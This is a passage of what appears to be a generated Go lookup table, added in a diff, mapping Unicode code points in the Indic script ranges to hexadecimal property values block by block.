0x00c0, 0x837: 0x00c0, 0x838: 0x00c0, 0x839: 0x00c0, 0x83a: 0x00c3, 0x83b: 0x00c0, + 0x83c: 0x00c3, 0x83d: 0x00c0, 0x83e: 0x00c0, 0x83f: 0x00c0, + // Block 0x21, offset 0x840 + 0x840: 0x00c0, 0x841: 0x00c3, 0x842: 0x00c3, 0x843: 0x00c3, 0x844: 0x00c3, 0x845: 0x00c3, + 0x846: 0x00c3, 0x847: 0x00c3, 0x848: 0x00c3, 0x849: 0x00c0, 0x84a: 0x00c0, 0x84b: 0x00c0, + 0x84c: 0x00c0, 0x84d: 0x00c6, 0x84e: 0x00c0, 0x84f: 0x00c0, 0x850: 0x00c0, 0x851: 0x00c3, + 0x852: 0x00c3, 0x853: 0x00c3, 0x854: 0x00c3, 0x855: 0x00c3, 0x856: 0x00c3, 0x857: 0x00c3, + 0x858: 0x0080, 0x859: 0x0080, 0x85a: 0x0080, 0x85b: 0x0080, 0x85c: 0x0080, 0x85d: 0x0080, + 0x85e: 0x0080, 0x85f: 0x0080, 0x860: 0x00c0, 0x861: 0x00c0, 0x862: 0x00c3, 0x863: 0x00c3, + 0x864: 0x0080, 0x865: 0x0080, 0x866: 0x00c0, 0x867: 0x00c0, 0x868: 0x00c0, 0x869: 0x00c0, + 0x86a: 0x00c0, 0x86b: 0x00c0, 0x86c: 0x00c0, 0x86d: 0x00c0, 0x86e: 0x00c0, 0x86f: 0x00c0, + 0x870: 0x0080, 0x871: 0x00c0, 0x872: 0x00c0, 0x873: 0x00c0, 0x874: 0x00c0, 0x875: 0x00c0, + 0x876: 0x00c0, 0x877: 0x00c0, 0x878: 0x00c0, 0x879: 0x00c0, 0x87a: 0x00c0, 0x87b: 0x00c0, + 0x87c: 0x00c0, 0x87d: 0x00c0, 0x87e: 0x00c0, 0x87f: 0x00c0, + // Block 0x22, offset 0x880 + 0x880: 0x00c0, 0x881: 0x00c3, 0x882: 0x00c0, 0x883: 0x00c0, 0x885: 0x00c0, + 0x886: 0x00c0, 0x887: 0x00c0, 0x888: 0x00c0, 0x889: 0x00c0, 0x88a: 0x00c0, 0x88b: 0x00c0, + 0x88c: 0x00c0, 0x88f: 0x00c0, 0x890: 0x00c0, + 0x893: 0x00c0, 0x894: 0x00c0, 0x895: 0x00c0, 0x896: 0x00c0, 0x897: 0x00c0, + 0x898: 0x00c0, 0x899: 0x00c0, 0x89a: 0x00c0, 0x89b: 0x00c0, 0x89c: 0x00c0, 0x89d: 0x00c0, + 0x89e: 0x00c0, 0x89f: 0x00c0, 0x8a0: 0x00c0, 0x8a1: 0x00c0, 0x8a2: 0x00c0, 0x8a3: 0x00c0, + 0x8a4: 0x00c0, 0x8a5: 0x00c0, 0x8a6: 0x00c0, 0x8a7: 0x00c0, 0x8a8: 0x00c0, + 0x8aa: 0x00c0, 0x8ab: 0x00c0, 0x8ac: 0x00c0, 0x8ad: 0x00c0, 0x8ae: 0x00c0, 0x8af: 0x00c0, + 0x8b0: 0x00c0, 0x8b2: 0x00c0, + 0x8b6: 0x00c0, 0x8b7: 0x00c0, 0x8b8: 0x00c0, 0x8b9: 0x00c0, + 0x8bc: 0x00c3, 0x8bd: 0x00c0, 0x8be: 0x00c0, 0x8bf: 0x00c0, + // Block 0x23, offset 0x8c0 + 0x8c0: 0x00c0, 0x8c1: 0x00c3, 0x8c2: 0x00c3, 0x8c3: 0x00c3, 0x8c4: 0x00c3, + 0x8c7: 0x00c0, 0x8c8: 0x00c0, 0x8cb: 0x00c0, + 0x8cc: 0x00c0, 0x8cd: 0x00c6, 0x8ce: 0x00c0, + 0x8d7: 0x00c0, + 0x8dc: 0x0080, 0x8dd: 0x0080, + 0x8df: 0x0080, 0x8e0: 0x00c0, 0x8e1: 0x00c0, 0x8e2: 0x00c3, 0x8e3: 0x00c3, + 0x8e6: 0x00c0, 0x8e7: 0x00c0, 0x8e8: 0x00c0, 0x8e9: 0x00c0, + 0x8ea: 0x00c0, 0x8eb: 0x00c0, 0x8ec: 0x00c0, 0x8ed: 0x00c0, 0x8ee: 0x00c0, 0x8ef: 0x00c0, + 0x8f0: 0x00c0, 0x8f1: 0x00c0, 0x8f2: 0x0080, 0x8f3: 0x0080, 0x8f4: 0x0080, 0x8f5: 0x0080, + 0x8f6: 0x0080, 0x8f7: 0x0080, 0x8f8: 0x0080, 0x8f9: 0x0080, 0x8fa: 0x0080, 0x8fb: 0x0080, + 0x8fc: 0x00c0, 0x8fd: 0x0080, 0x8fe: 0x00c3, + // Block 0x24, offset 0x900 + 0x901: 0x00c3, 0x902: 0x00c3, 0x903: 0x00c0, 0x905: 0x00c0, + 0x906: 0x00c0, 0x907: 0x00c0, 0x908: 0x00c0, 0x909: 0x00c0, 0x90a: 0x00c0, + 0x90f: 0x00c0, 0x910: 0x00c0, + 0x913: 0x00c0, 0x914: 0x00c0, 0x915: 0x00c0, 0x916: 0x00c0, 0x917: 0x00c0, + 0x918: 0x00c0, 0x919: 0x00c0, 0x91a: 0x00c0, 0x91b: 0x00c0, 0x91c: 0x00c0, 0x91d: 0x00c0, + 0x91e: 0x00c0, 0x91f: 0x00c0, 0x920: 0x00c0, 0x921: 0x00c0, 0x922: 0x00c0, 0x923: 0x00c0, + 0x924: 0x00c0, 0x925: 0x00c0, 0x926: 0x00c0, 0x927: 0x00c0, 0x928: 0x00c0, + 0x92a: 0x00c0, 0x92b: 0x00c0, 0x92c: 0x00c0, 0x92d: 0x00c0, 0x92e: 0x00c0, 0x92f: 0x00c0, + 0x930: 0x00c0, 0x932: 0x00c0, 0x933: 0x0080, 0x935: 0x00c0, + 0x936: 0x0080, 0x938: 0x00c0, 0x939: 0x00c0, + 0x93c: 0x00c3, 0x93e: 0x00c0, 0x93f: 0x00c0, + // Block 0x25, offset 0x940 + 0x940: 0x00c0, 0x941: 0x00c3, 0x942: 0x00c3, + 0x947: 0x00c3, 0x948: 0x00c3, 0x94b: 0x00c3, + 0x94c: 0x00c3, 0x94d: 0x00c6, 0x951: 0x00c3, + 0x959: 0x0080, 0x95a: 0x0080, 0x95b: 0x0080, 0x95c: 0x00c0, + 0x95e: 0x0080, + 0x966: 0x00c0, 0x967: 0x00c0, 0x968: 0x00c0, 0x969: 0x00c0, + 0x96a: 0x00c0, 0x96b: 0x00c0, 0x96c: 0x00c0, 0x96d: 0x00c0, 0x96e: 0x00c0, 0x96f: 0x00c0, + 0x970: 0x00c3, 0x971: 0x00c3, 0x972: 0x00c0, 0x973: 0x00c0, 0x974: 0x00c0, 0x975: 0x00c3, + 0x976: 0x0080, + // Block 0x26, offset 0x980 + 0x981: 0x00c3, 0x982: 0x00c3, 0x983: 0x00c0, 0x985: 0x00c0, + 0x986: 0x00c0, 0x987: 0x00c0, 0x988: 0x00c0, 0x989: 0x00c0, 0x98a: 0x00c0, 0x98b: 0x00c0, + 0x98c: 0x00c0, 0x98d: 0x00c0, 0x98f: 0x00c0, 0x990: 0x00c0, 0x991: 0x00c0, + 0x993: 0x00c0, 0x994: 0x00c0, 0x995: 0x00c0, 0x996: 0x00c0, 0x997: 0x00c0, + 0x998: 0x00c0, 0x999: 0x00c0, 0x99a: 0x00c0, 0x99b: 0x00c0, 0x99c: 0x00c0, 0x99d: 0x00c0, + 0x99e: 0x00c0, 0x99f: 0x00c0, 0x9a0: 0x00c0, 0x9a1: 0x00c0, 0x9a2: 0x00c0, 0x9a3: 0x00c0, + 0x9a4: 0x00c0, 0x9a5: 0x00c0, 0x9a6: 0x00c0, 0x9a7: 0x00c0, 0x9a8: 0x00c0, + 0x9aa: 0x00c0, 0x9ab: 0x00c0, 0x9ac: 0x00c0, 0x9ad: 0x00c0, 0x9ae: 0x00c0, 0x9af: 0x00c0, + 0x9b0: 0x00c0, 0x9b2: 0x00c0, 0x9b3: 0x00c0, 0x9b5: 0x00c0, + 0x9b6: 0x00c0, 0x9b7: 0x00c0, 0x9b8: 0x00c0, 0x9b9: 0x00c0, + 0x9bc: 0x00c3, 0x9bd: 0x00c0, 0x9be: 0x00c0, 0x9bf: 0x00c0, + // Block 0x27, offset 0x9c0 + 0x9c0: 0x00c0, 0x9c1: 0x00c3, 0x9c2: 0x00c3, 0x9c3: 0x00c3, 0x9c4: 0x00c3, 0x9c5: 0x00c3, + 0x9c7: 0x00c3, 0x9c8: 0x00c3, 0x9c9: 0x00c0, 0x9cb: 0x00c0, + 0x9cc: 0x00c0, 0x9cd: 0x00c6, 0x9d0: 0x00c0, + 0x9e0: 0x00c0, 0x9e1: 0x00c0, 0x9e2: 0x00c3, 0x9e3: 0x00c3, + 0x9e6: 0x00c0, 0x9e7: 0x00c0, 0x9e8: 0x00c0, 0x9e9: 0x00c0, + 0x9ea: 0x00c0, 0x9eb: 0x00c0, 0x9ec: 0x00c0, 0x9ed: 0x00c0, 0x9ee: 0x00c0, 0x9ef: 0x00c0, + 0x9f0: 0x0080, 0x9f1: 0x0080, + 0x9f9: 0x00c0, 0x9fa: 0x00c3, 0x9fb: 0x00c3, + 0x9fc: 0x00c3, 0x9fd: 0x00c3, 0x9fe: 0x00c3, 0x9ff: 0x00c3, + // Block 0x28, offset 0xa00 + 0xa01: 0x00c3, 0xa02: 0x00c0, 0xa03: 0x00c0, 0xa05: 0x00c0, + 0xa06: 0x00c0, 0xa07: 0x00c0, 0xa08: 0x00c0, 0xa09: 0x00c0, 0xa0a: 0x00c0, 0xa0b: 0x00c0, + 0xa0c: 0x00c0, 0xa0f: 0x00c0, 0xa10: 0x00c0, + 0xa13: 0x00c0, 0xa14: 0x00c0, 0xa15: 0x00c0, 0xa16: 0x00c0, 0xa17: 0x00c0, + 0xa18: 0x00c0, 0xa19: 0x00c0, 0xa1a: 0x00c0, 0xa1b: 0x00c0, 0xa1c: 0x00c0, 0xa1d: 0x00c0, + 0xa1e: 0x00c0, 0xa1f: 0x00c0, 0xa20: 0x00c0, 0xa21: 0x00c0, 0xa22: 0x00c0, 0xa23: 0x00c0, + 0xa24: 0x00c0, 0xa25: 0x00c0, 0xa26: 0x00c0, 0xa27: 0x00c0, 0xa28: 0x00c0, + 0xa2a: 0x00c0, 0xa2b: 0x00c0, 0xa2c: 0x00c0, 0xa2d: 0x00c0, 0xa2e: 0x00c0, 0xa2f: 0x00c0, + 0xa30: 0x00c0, 0xa32: 0x00c0, 0xa33: 0x00c0, 0xa35: 0x00c0, + 0xa36: 0x00c0, 0xa37: 0x00c0, 0xa38: 0x00c0, 0xa39: 0x00c0, + 0xa3c: 0x00c3, 0xa3d: 0x00c0, 0xa3e: 0x00c0, 0xa3f: 0x00c3, + // Block 0x29, offset 0xa40 + 0xa40: 0x00c0, 0xa41: 0x00c3, 0xa42: 0x00c3, 0xa43: 0x00c3, 0xa44: 0x00c3, + 0xa47: 0x00c0, 0xa48: 0x00c0, 0xa4b: 0x00c0, + 0xa4c: 0x00c0, 0xa4d: 0x00c6, + 0xa55: 0x00c3, 0xa56: 0x00c3, 0xa57: 0x00c0, + 0xa5c: 0x0080, 0xa5d: 0x0080, + 0xa5f: 0x00c0, 0xa60: 0x00c0, 0xa61: 0x00c0, 0xa62: 0x00c3, 0xa63: 0x00c3, + 0xa66: 0x00c0, 0xa67: 0x00c0, 0xa68: 0x00c0, 0xa69: 0x00c0, + 0xa6a: 0x00c0, 0xa6b: 0x00c0, 0xa6c: 0x00c0, 0xa6d: 0x00c0, 0xa6e: 0x00c0, 0xa6f: 0x00c0, + 0xa70: 0x0080, 0xa71: 0x00c0, 0xa72: 0x0080, 0xa73: 0x0080, 0xa74: 0x0080, 0xa75: 0x0080, + 0xa76: 0x0080, 0xa77: 0x0080, + // Block 0x2a, offset 0xa80 + 0xa82: 0x00c3, 0xa83: 0x00c0, 0xa85: 0x00c0, + 0xa86: 0x00c0, 0xa87: 0x00c0, 0xa88: 0x00c0, 0xa89: 0x00c0, 0xa8a: 0x00c0, + 0xa8e: 0x00c0, 0xa8f: 0x00c0, 0xa90: 0x00c0, + 0xa92: 0x00c0, 0xa93: 0x00c0, 0xa94: 0x00c0, 0xa95: 0x00c0, + 0xa99: 0x00c0, 0xa9a: 0x00c0, 0xa9c: 0x00c0, + 0xa9e: 0x00c0, 0xa9f: 0x00c0, 0xaa3: 0x00c0, + 0xaa4: 0x00c0, 0xaa8: 0x00c0, 0xaa9: 0x00c0, + 0xaaa: 0x00c0, 0xaae: 0x00c0, 0xaaf: 0x00c0, + 0xab0: 0x00c0, 0xab1: 0x00c0, 0xab2: 0x00c0, 0xab3: 0x00c0, 0xab4: 0x00c0, 0xab5: 0x00c0, + 0xab6: 0x00c0, 0xab7: 0x00c0, 0xab8: 0x00c0, 0xab9: 0x00c0, + 0xabe: 0x00c0, 0xabf: 0x00c0, + // Block 0x2b, offset 0xac0 + 0xac0: 0x00c3, 0xac1: 0x00c0, 0xac2: 0x00c0, + 0xac6: 0x00c0, 0xac7: 0x00c0, 0xac8: 0x00c0, 0xaca: 0x00c0, 0xacb: 0x00c0, + 0xacc: 0x00c0, 0xacd: 0x00c6, 0xad0: 0x00c0, + 0xad7: 0x00c0, + 0xae6: 0x00c0, 0xae7: 0x00c0, 0xae8: 0x00c0, 0xae9: 0x00c0, + 0xaea: 0x00c0, 0xaeb: 0x00c0, 0xaec: 0x00c0, 0xaed: 0x00c0, 0xaee: 0x00c0, 0xaef: 0x00c0, + 0xaf0: 0x0080, 0xaf1: 0x0080, 0xaf2: 0x0080, 0xaf3: 0x0080, 0xaf4: 0x0080, 0xaf5: 0x0080, + 0xaf6: 0x0080, 0xaf7: 0x0080, 0xaf8: 0x0080, 0xaf9: 0x0080, 0xafa: 0x0080, + // Block 0x2c, offset 0xb00 + 0xb00: 0x00c3, 0xb01: 0x00c0, 0xb02: 0x00c0, 0xb03: 0x00c0, 0xb04: 0x00c3, 0xb05: 0x00c0, + 0xb06: 0x00c0, 0xb07: 0x00c0, 0xb08: 0x00c0, 0xb09: 0x00c0, 0xb0a: 0x00c0, 0xb0b: 0x00c0, + 0xb0c: 0x00c0, 0xb0e: 0x00c0, 0xb0f: 0x00c0, 0xb10: 0x00c0, + 0xb12: 0x00c0, 0xb13: 0x00c0, 0xb14: 0x00c0, 0xb15: 0x00c0, 0xb16: 0x00c0, 0xb17: 0x00c0, + 0xb18: 0x00c0, 0xb19: 0x00c0, 0xb1a: 0x00c0, 0xb1b: 0x00c0, 0xb1c: 0x00c0, 0xb1d: 0x00c0, + 0xb1e: 0x00c0, 0xb1f: 0x00c0, 0xb20: 0x00c0, 0xb21: 0x00c0, 0xb22: 0x00c0, 0xb23: 0x00c0, + 0xb24: 0x00c0, 0xb25: 0x00c0, 0xb26: 0x00c0, 0xb27: 0x00c0, 0xb28: 0x00c0, + 0xb2a: 0x00c0, 0xb2b: 0x00c0, 0xb2c: 0x00c0, 0xb2d: 0x00c0, 0xb2e: 0x00c0, 0xb2f: 0x00c0, + 0xb30: 0x00c0, 0xb31: 0x00c0, 0xb32: 0x00c0, 0xb33: 0x00c0, 0xb34: 0x00c0, 0xb35: 0x00c0, + 0xb36: 0x00c0, 0xb37: 0x00c0, 0xb38: 0x00c0, 0xb39: 0x00c0, + 0xb3c: 0x00c3, 0xb3d: 0x00c0, 0xb3e: 0x00c3, 0xb3f: 0x00c3, + // Block 0x2d, offset 0xb40 + 0xb40: 0x00c3, 0xb41: 0x00c0, 0xb42: 0x00c0, 0xb43: 0x00c0, 0xb44: 0x00c0, + 0xb46: 0x00c3, 0xb47: 0x00c3, 0xb48: 0x00c3, 0xb4a: 0x00c3, 0xb4b: 0x00c3, + 0xb4c: 0x00c3, 0xb4d: 0x00c6, + 0xb55: 0x00c3, 0xb56: 0x00c3, + 0xb58: 0x00c0, 0xb59: 0x00c0, 0xb5a: 0x00c0, 0xb5d: 0x00c0, + 0xb60: 0x00c0, 0xb61: 0x00c0, 0xb62: 0x00c3, 0xb63: 0x00c3, + 0xb66: 0x00c0, 0xb67: 0x00c0, 0xb68: 0x00c0, 0xb69: 0x00c0, + 0xb6a: 0x00c0, 0xb6b: 0x00c0, 0xb6c: 0x00c0, 0xb6d: 0x00c0, 0xb6e: 0x00c0, 0xb6f: 0x00c0, + 0xb77: 0x0080, 0xb78: 0x0080, 0xb79: 0x0080, 0xb7a: 0x0080, 0xb7b: 0x0080, + 0xb7c: 0x0080, 0xb7d: 0x0080, 0xb7e: 0x0080, 0xb7f: 0x0080, + // Block 0x2e, offset 0xb80 + 0xb80: 0x00c0, 0xb81: 0x00c3, 0xb82: 0x00c0, 0xb83: 0x00c0, 0xb84: 0x0080, 0xb85: 0x00c0, + 0xb86: 0x00c0, 0xb87: 0x00c0, 0xb88: 0x00c0, 0xb89: 0x00c0, 0xb8a: 0x00c0, 0xb8b: 0x00c0, + 0xb8c: 0x00c0, 0xb8e: 0x00c0, 0xb8f: 0x00c0, 0xb90: 0x00c0, + 0xb92: 0x00c0, 0xb93: 0x00c0, 0xb94: 0x00c0, 0xb95: 0x00c0, 0xb96: 0x00c0, 0xb97: 0x00c0, + 0xb98: 0x00c0, 0xb99: 0x00c0, 0xb9a: 0x00c0, 0xb9b: 0x00c0, 0xb9c: 0x00c0, 0xb9d: 0x00c0, + 0xb9e: 0x00c0, 0xb9f: 0x00c0, 0xba0: 0x00c0, 0xba1: 0x00c0, 0xba2: 0x00c0, 0xba3: 0x00c0, + 0xba4: 0x00c0, 0xba5: 0x00c0, 0xba6: 0x00c0, 0xba7: 0x00c0, 0xba8: 0x00c0, + 0xbaa: 0x00c0, 0xbab: 0x00c0, 0xbac: 0x00c0, 0xbad: 0x00c0, 0xbae: 0x00c0, 0xbaf: 0x00c0, + 0xbb0: 0x00c0, 0xbb1: 0x00c0, 0xbb2: 0x00c0, 0xbb3: 0x00c0, 0xbb5: 0x00c0, + 0xbb6: 0x00c0, 0xbb7: 0x00c0, 0xbb8: 0x00c0, 0xbb9: 0x00c0, + 0xbbc: 0x00c3, 0xbbd: 0x00c0, 0xbbe: 0x00c0, 0xbbf: 0x00c3, + // Block 0x2f, offset 0xbc0 + 0xbc0: 0x00c0, 0xbc1: 0x00c0, 0xbc2: 0x00c0, 0xbc3: 0x00c0, 0xbc4: 0x00c0, + 0xbc6: 0x00c3, 0xbc7: 0x00c0, 0xbc8: 0x00c0, 0xbca: 0x00c0, 0xbcb: 0x00c0, + 0xbcc: 0x00c3, 0xbcd: 0x00c6, + 0xbd5: 0x00c0, 0xbd6: 0x00c0, + 0xbdd: 0x00c0, + 0xbde: 0x00c0, 0xbe0: 0x00c0, 0xbe1: 0x00c0, 0xbe2: 0x00c3, 0xbe3: 0x00c3, + 0xbe6: 0x00c0, 0xbe7: 0x00c0, 0xbe8: 0x00c0, 0xbe9: 0x00c0, + 0xbea: 0x00c0, 0xbeb: 0x00c0, 0xbec: 0x00c0, 0xbed: 0x00c0, 0xbee: 0x00c0, 0xbef: 0x00c0, + 0xbf1: 0x00c0, 0xbf2: 0x00c0, 0xbf3: 0x00c0, + // Block 0x30, offset 0xc00 + 0xc00: 0x00c3, 0xc01: 0x00c3, 0xc02: 0x00c0, 0xc03: 0x00c0, 0xc04: 0x00c0, 0xc05: 0x00c0, + 0xc06: 0x00c0, 0xc07: 0x00c0, 0xc08: 0x00c0, 0xc09: 0x00c0, 0xc0a: 0x00c0, 0xc0b: 0x00c0, + 0xc0c: 0x00c0, 0xc0e: 0x00c0, 0xc0f: 0x00c0, 0xc10: 0x00c0, + 0xc12: 0x00c0, 0xc13: 0x00c0, 0xc14: 0x00c0, 0xc15: 0x00c0, 0xc16: 0x00c0, 0xc17: 0x00c0, + 0xc18: 0x00c0, 0xc19: 0x00c0, 0xc1a: 0x00c0, 0xc1b: 0x00c0, 0xc1c: 0x00c0, 0xc1d: 0x00c0, + 0xc1e: 0x00c0, 0xc1f: 0x00c0, 0xc20: 0x00c0, 0xc21: 0x00c0, 0xc22: 0x00c0, 0xc23: 0x00c0, + 0xc24: 0x00c0, 0xc25: 0x00c0, 0xc26: 0x00c0, 0xc27: 0x00c0, 0xc28: 0x00c0, 0xc29: 0x00c0, + 0xc2a: 0x00c0, 0xc2b: 0x00c0, 0xc2c: 0x00c0, 0xc2d: 0x00c0, 0xc2e: 0x00c0, 0xc2f: 0x00c0, + 0xc30: 0x00c0, 0xc31: 0x00c0, 0xc32: 0x00c0, 0xc33: 0x00c0, 0xc34: 0x00c0, 0xc35: 0x00c0, + 0xc36: 0x00c0, 0xc37: 0x00c0, 0xc38: 0x00c0, 0xc39: 0x00c0, 0xc3a: 0x00c0, 0xc3b: 0x00c6, + 0xc3c: 0x00c6, 0xc3d: 0x00c0, 0xc3e: 0x00c0, 0xc3f: 0x00c0, + // Block 0x31, offset 0xc40 + 0xc40: 0x00c0, 0xc41: 0x00c3, 0xc42: 0x00c3, 0xc43: 0x00c3, 0xc44: 0x00c3, + 0xc46: 0x00c0, 0xc47: 0x00c0, 0xc48: 0x00c0, 0xc4a: 0x00c0, 0xc4b: 0x00c0, + 0xc4c: 0x00c0, 0xc4d: 0x00c6, 0xc4e: 0x00c0, 0xc4f: 0x0080, + 0xc54: 0x00c0, 0xc55: 0x00c0, 0xc56: 0x00c0, 0xc57: 0x00c0, + 0xc58: 0x0080, 0xc59: 0x0080, 0xc5a: 0x0080, 0xc5b: 0x0080, 0xc5c: 0x0080, 0xc5d: 0x0080, + 0xc5e: 0x0080, 0xc5f: 0x00c0, 0xc60: 0x00c0, 0xc61: 0x00c0, 0xc62: 0x00c3, 0xc63: 0x00c3, + 0xc66: 0x00c0, 0xc67: 0x00c0, 0xc68: 0x00c0, 0xc69: 0x00c0, + 0xc6a: 0x00c0, 0xc6b: 0x00c0, 0xc6c: 0x00c0, 0xc6d: 0x00c0, 0xc6e: 0x00c0, 0xc6f: 0x00c0, + 0xc70: 0x0080, 0xc71: 0x0080, 0xc72: 0x0080, 0xc73: 0x0080, 0xc74: 0x0080, 0xc75: 0x0080, + 0xc76: 0x0080, 0xc77: 0x0080, 0xc78: 0x0080, 0xc79: 0x0080, 0xc7a: 0x00c0, 0xc7b: 0x00c0, + 0xc7c: 0x00c0, 0xc7d: 0x00c0, 0xc7e: 0x00c0, 0xc7f: 0x00c0, + // Block 0x32, offset 0xc80 + 0xc81: 0x00c3, 0xc82: 0x00c0, 0xc83: 0x00c0, 0xc85: 0x00c0, + 0xc86: 0x00c0, 0xc87: 0x00c0, 0xc88: 0x00c0, 0xc89: 0x00c0, 0xc8a: 0x00c0, 0xc8b: 0x00c0, + 0xc8c: 0x00c0, 0xc8d: 0x00c0, 0xc8e: 0x00c0, 0xc8f: 0x00c0, 0xc90: 0x00c0, 0xc91: 0x00c0, + 0xc92: 0x00c0, 0xc93: 0x00c0, 0xc94: 0x00c0, 0xc95: 0x00c0, 0xc96: 0x00c0, + 0xc9a: 0x00c0, 0xc9b: 0x00c0, 0xc9c: 0x00c0, 0xc9d: 0x00c0, + 0xc9e: 0x00c0, 0xc9f: 0x00c0, 0xca0: 0x00c0, 0xca1: 0x00c0, 0xca2: 0x00c0, 0xca3: 0x00c0, + 0xca4: 0x00c0, 0xca5: 0x00c0, 0xca6: 0x00c0, 0xca7: 0x00c0, 0xca8: 0x00c0, 0xca9: 0x00c0, + 0xcaa: 0x00c0, 0xcab: 0x00c0, 0xcac: 0x00c0, 0xcad: 0x00c0, 0xcae: 0x00c0, 0xcaf: 0x00c0, + 0xcb0: 0x00c0, 0xcb1: 0x00c0, 0xcb3: 0x00c0, 0xcb4: 0x00c0, 0xcb5: 0x00c0, + 0xcb6: 0x00c0, 0xcb7: 0x00c0, 0xcb8: 0x00c0, 0xcb9: 0x00c0, 0xcba: 0x00c0, 0xcbb: 0x00c0, + 0xcbd: 0x00c0, + // Block 0x33, offset 0xcc0 + 0xcc0: 0x00c0, 0xcc1: 0x00c0, 0xcc2: 0x00c0, 0xcc3: 0x00c0, 0xcc4: 0x00c0, 0xcc5: 0x00c0, + 0xcc6: 0x00c0, 0xcca: 0x00c6, + 0xccf: 0x00c0, 0xcd0: 0x00c0, 0xcd1: 0x00c0, + 0xcd2: 0x00c3, 0xcd3: 0x00c3, 0xcd4: 0x00c3, 0xcd6: 0x00c3, + 0xcd8: 0x00c0, 0xcd9: 0x00c0, 0xcda: 0x00c0, 0xcdb: 0x00c0, 0xcdc: 0x00c0, 0xcdd: 0x00c0, + 0xcde: 0x00c0, 0xcdf: 0x00c0, + 0xce6: 0x00c0, 0xce7: 0x00c0, 0xce8: 0x00c0, 0xce9: 0x00c0, + 0xcea: 0x00c0, 0xceb: 0x00c0, 0xcec: 0x00c0, 0xced: 0x00c0, 0xcee: 0x00c0, 0xcef: 0x00c0, + 0xcf2: 0x00c0, 0xcf3: 0x00c0, 0xcf4: 0x0080, + // Block 0x34, offset 0xd00 + 0xd01: 0x00c0, 0xd02: 0x00c0, 0xd03: 0x00c0, 0xd04: 0x00c0, 0xd05: 0x00c0, + 0xd06: 0x00c0, 0xd07: 0x00c0, 0xd08: 0x00c0, 0xd09: 0x00c0, 0xd0a: 0x00c0, 0xd0b: 0x00c0, + 0xd0c: 0x00c0, 0xd0d: 0x00c0, 0xd0e: 0x00c0, 0xd0f: 0x00c0, 0xd10: 0x00c0, 0xd11: 0x00c0, + 0xd12: 0x00c0, 0xd13: 0x00c0, 0xd14: 0x00c0, 0xd15: 0x00c0, 0xd16: 0x00c0, 0xd17: 0x00c0, + 0xd18: 0x00c0, 0xd19: 0x00c0, 0xd1a: 0x00c0, 0xd1b: 0x00c0, 0xd1c: 0x00c0, 0xd1d: 0x00c0, + 0xd1e: 0x00c0, 0xd1f: 0x00c0, 0xd20: 0x00c0, 0xd21: 0x00c0, 0xd22: 0x00c0, 0xd23: 0x00c0, + 0xd24: 0x00c0, 0xd25: 0x00c0, 0xd26: 0x00c0, 0xd27: 0x00c0, 0xd28: 0x00c0, 0xd29: 0x00c0, + 0xd2a: 0x00c0, 0xd2b: 0x00c0, 0xd2c: 0x00c0, 0xd2d: 0x00c0, 0xd2e: 0x00c0, 0xd2f: 0x00c0, + 0xd30: 0x00c0, 0xd31: 0x00c3, 0xd32: 0x00c0, 0xd33: 0x0080, 0xd34: 0x00c3, 0xd35: 0x00c3, + 0xd36: 0x00c3, 0xd37: 0x00c3, 0xd38: 0x00c3, 0xd39: 0x00c3, 0xd3a: 0x00c6, + 0xd3f: 0x0080, + // Block 0x35, offset 0xd40 + 0xd40: 0x00c0, 0xd41: 0x00c0, 0xd42: 0x00c0, 0xd43: 0x00c0, 0xd44: 0x00c0, 0xd45: 0x00c0, + 0xd46: 0x00c0, 0xd47: 0x00c3, 0xd48: 0x00c3, 0xd49: 0x00c3, 0xd4a: 0x00c3, 0xd4b: 0x00c3, + 0xd4c: 0x00c3, 0xd4d: 0x00c3, 0xd4e: 0x00c3, 0xd4f: 0x0080, 0xd50: 0x00c0, 0xd51: 0x00c0, + 0xd52: 0x00c0, 0xd53: 0x00c0, 0xd54: 0x00c0, 0xd55: 0x00c0, 0xd56: 0x00c0, 0xd57: 0x00c0, + 0xd58: 0x00c0, 0xd59: 0x00c0, 0xd5a: 0x0080, 0xd5b: 0x0080, + // Block 0x36, offset 0xd80 + 0xd81: 0x00c0, 0xd82: 0x00c0, 0xd84: 0x00c0, + 0xd86: 0x00c0, 0xd87: 0x00c0, 0xd88: 0x00c0, 0xd89: 0x00c0, 0xd8a: 0x00c0, + 0xd8c: 0x00c0, 0xd8d: 0x00c0, 0xd8e: 0x00c0, 0xd8f: 0x00c0, 0xd90: 0x00c0, 0xd91: 0x00c0, + 0xd92: 0x00c0, 0xd93: 0x00c0, 0xd94: 0x00c0, 0xd95: 0x00c0, 0xd96: 0x00c0, 0xd97: 0x00c0, + 0xd98: 0x00c0, 0xd99: 0x00c0, 0xd9a: 0x00c0, 0xd9b: 0x00c0, 0xd9c: 0x00c0, 0xd9d: 0x00c0, + 0xd9e: 0x00c0, 0xd9f: 0x00c0, 0xda0: 0x00c0, 0xda1: 0x00c0, 0xda2: 0x00c0, 0xda3: 0x00c0, + 0xda5: 0x00c0, 0xda7: 0x00c0, 0xda8: 0x00c0, 0xda9: 0x00c0, + 0xdaa: 0x00c0, 0xdab: 0x00c0, 0xdac: 0x00c0, 0xdad: 0x00c0, 0xdae: 0x00c0, 0xdaf: 0x00c0, + 0xdb0: 0x00c0, 0xdb1: 0x00c3, 0xdb2: 0x00c0, 0xdb3: 0x0080, 0xdb4: 0x00c3, 0xdb5: 0x00c3, + 0xdb6: 0x00c3, 0xdb7: 0x00c3, 0xdb8: 0x00c3, 0xdb9: 0x00c3, 0xdba: 0x00c6, 0xdbb: 0x00c3, + 0xdbc: 0x00c3, 0xdbd: 0x00c0, + // Block 0x37, offset 0xdc0 + 0xdc0: 0x00c0, 0xdc1: 0x00c0, 0xdc2: 0x00c0, 0xdc3: 0x00c0, 0xdc4: 0x00c0, + 0xdc6: 0x00c0, 0xdc8: 0x00c3, 0xdc9: 0x00c3, 0xdca: 0x00c3, 0xdcb: 0x00c3, + 0xdcc: 0x00c3, 0xdcd: 0x00c3, 0xdce: 0x00c3, 0xdd0: 0x00c0, 0xdd1: 0x00c0, + 0xdd2: 0x00c0, 0xdd3: 0x00c0, 0xdd4: 0x00c0, 0xdd5: 0x00c0, 0xdd6: 0x00c0, 0xdd7: 0x00c0, + 0xdd8: 0x00c0, 0xdd9: 0x00c0, 0xddc: 0x0080, 0xddd: 0x0080, + 0xdde: 0x00c0, 0xddf: 0x00c0, + // Block 0x38, offset 0xe00 + 0xe00: 0x00c0, 0xe01: 0x0080, 0xe02: 0x0080, 0xe03: 0x0080, 0xe04: 0x0080, 0xe05: 0x0080, + 0xe06: 0x0080, 0xe07: 0x0080, 0xe08: 0x0080, 0xe09: 0x0080, 0xe0a: 0x0080, 0xe0b: 0x00c0, + 0xe0c: 0x0080, 0xe0d: 